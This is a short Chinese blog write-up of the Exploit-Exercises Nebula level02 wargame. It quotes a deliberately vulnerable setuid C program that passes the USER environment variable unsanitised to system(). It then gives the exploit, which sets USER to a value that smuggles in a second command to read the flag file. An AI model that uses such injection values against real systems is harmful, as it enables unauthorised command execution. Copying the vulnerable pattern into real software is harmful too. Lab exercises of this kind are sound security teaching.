i春秋 - Exploit-Exercises: Nebula - level02

原创

jchalex 于 2017-02-25 21:53:03 发布

分类专栏： exploit 文章标签： exploit

About

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

Source code

```c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);

  system(buffer);
}
```

Nebula官网

程序逻辑

输出环境变量USER很cool

思路

覆盖环境变量USER

```
USER=";cat /home/flag02/flag"
/home/flag02/flag02
```